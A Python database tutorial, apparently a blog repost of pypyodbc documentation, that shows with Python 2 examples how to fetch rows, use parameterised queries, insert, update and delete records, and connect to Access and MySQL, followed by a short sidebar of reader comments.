The fetchone function returns None when all rows have been retrieved.

while 1:
    row = cursor.fetchone()
    if not row:
        break
    print 'id:', row.user_id

The fetchall function returns all remaining rows in a list. If there are no rows, an empty list is returned. 

(If there are a lot of rows, this will use a lot of memory. Unread rows are stored by the database driver in a compact format and are often sent in batches from the database server. 

Reading in only the rows you need at one time will save a lot of memory.)

cursor.execute("select user_id, user_name from users")
rows = cursor.fetchall()
for row in rows:
    print row.user_id, row.user_name

If you are going to process the rows one at a time, you can use the cursor itself as an interator:

cursor.execute("select user_id, user_name from users"):
for row in cursor:
    print row.user_id, row.user_name

Since cursor.execute always returns the cursor, you can simplify this even more:

for row in cursor.execute("select user_id, user_name from users"):
    print row.user_id, row.user_name

A lot of SQL statements don't fit on one line very easily, so you can always use triple quoted strings:

cursor.execute("""
               select user_id, user_name
                 from users
                where last_logon < '2001-01-01'
                  and bill_overdue = 'y'
               """)

Parameters

ODBC supports parameters using a question mark as a place holder in the SQL. 

You provide the values for the question marks by passing them after the SQL:

cursor.execute("""
               select user_id, user_name
                 from users
                where last_logon < ?
                  and bill_overdue = ?
               """, '2001-01-01', 'y')

This is safer than putting the values into the string because the parameters are passed to the database separately, protecting against SQL injection attacks

It is also be more efficient if you execute the same SQL repeatedly with different parameters. The SQL will be prepared only once. (pypyodbc only keeps the last statement prepared, so if you switch between statements, each will be prepared multiple times.)

The Python DB API specifies that parameters should be passed in a sequence, so this is also supported by pypyodbc:

cursor.execute("""
               select user_id, user_name
                 from users
                where last_logon < ?
                  and bill_overdue = ?
               """, ['2001-01-01', 'y'])
cursor.execute("select count(*) as user_count from users where age > ?", 21)
row = cursor.fetchone()
print '%d users' % row.user_count

Inserting Data

To insert data, pass the insert SQL to Cursor.execute, along with any parameters necessary:

cursor.execute("insert into products(id, name) values ('pypyodbc', 'awesome library')")
cnxn.commit()

cursor.execute("insert into products(id, name) values (?, ?)", 'pypyodbc', 'awesome library')
cnxn.commit()

Note the calls to cnxn.commit(). You must call commit or your changes will be lost! When the connection is closed, any pending changes will be rolled back. This makes error recovery very easy, but you must remember to call commit.

Updating and Deleting

Updating and deleting work the same way, pass the SQL to execute. However, you often want to know how many records were affected when updating and deleting, in which case you can use the cursor.rowcount value:

cursor.execute("delete from products where id <> ?", 'pypyodbc')
print cursor.rowcount, 'products deleted'
cnxn.commit()

Since execute always returns the cursor, you will sometimes see code like this. (Notice the rowcount on the end.)

deleted = cursor.execute("delete from products where id <> 'pypyodbc'").rowcount
cnxn.commit()

Note the calls to cnxn.commit(). You must call commit or your changes will be lost! When the connection is closed, any pending changes will be rolled back. This makes error recovery very easy, but you must remember to call commit.

Tips and Tricks

Since single quotes are valid in SQL, use double quotes to surround your SQL:

deleted = cursor.execute("delete from products where id <> 'pypyodbc'").rowcount

If you are using triple quotes, you can use either:

deleted = cursor.execute("""
                         delete
                           from products
                          where id <> 'pypyodbc'
                         """).rowcount

Some databases (e.g. SQL Server) do not generate column names for calculations, in which case you need to access the columns by index. You can also use the 'as' keyword to name columns (the "as user_count" in the SQL below).

row = cursor.execute("select count(*) as user_count from users").fetchone()
print '%s users' % row.user_count

If there is only 1 value you need, you can put the fetch of the row and the extraction of the first column all on one line:

count = cursor.execute("select count(*) from users").fetchone()[0]
print '%s users' % count

This will not work if the first column can be NULL! In that case, fetchone() will return None and you'll get a cryptic error about NoneType not supporting indexing. If there is a default value, often you can is ISNULL or coalesce to convert NULLs to default values directly in the SQL:

maxid = cursor.execute("select coalesce(max(id), 0) from users").fetchone()[0]

In this example, coalesce(max(id), 0) causes the selected value to be 0 if max(id) returns NULL.

If you're using MS Access 2007, there are some subtle differences in the connection string:

conn = pypyodbc.connect("Driver={Microsoft Access Driver (*.mdb, *.accdb)};DBQ=<path to MDB or ACCDB>;")

Also, you need to use the square brackets notation if your column has spaces or nonstandard characters. I prefer an alias:
 

cursor.execute("SELECT Cust.[ZIP CODE] AS ZIPCODE FROM Cust")
for row in cursor:
        print row.ZIPCODE

Aboutt mysql

# using mysql odbc driver http://www.mysql.com/downloads/connector/odbc/
import pypyodbc
#connect to localhost
cnxn = pypyodbc.connect('Driver={MySQL ODBC 5.1 Driver};Server=127.0.0.1;Port=3306;Database=information_schema;User=root; Password=root;Option=3;')
cursor = cnxn.cursor()

#select all tables from all databases
cursor.execute("select t1.TABLE_SCHEMA field1,t1.TABLE_NAME field2  from `TABLES` t1;")
rows = cursor.fetchall()
for row in rows:
    print "%s.%s" % (row.field1,row.field2)

from:https://code.google.com/p/pyodbc/downloads/list

分类
最新文章
最近回复
  • 轨迹: niubility!
  • 没穿底裤: 好办法..
  • emma: 任务计划那有点小问题,调用后Activation.exe不是当前活动窗口,造成回车下一步下一步...
  • 没穿底裤: hook execve函数
  • tuhao lam: 大佬,还有持续跟进Linux命令执行记录这块吗?通过内核拦截exec系统调用的方式,目前有没有...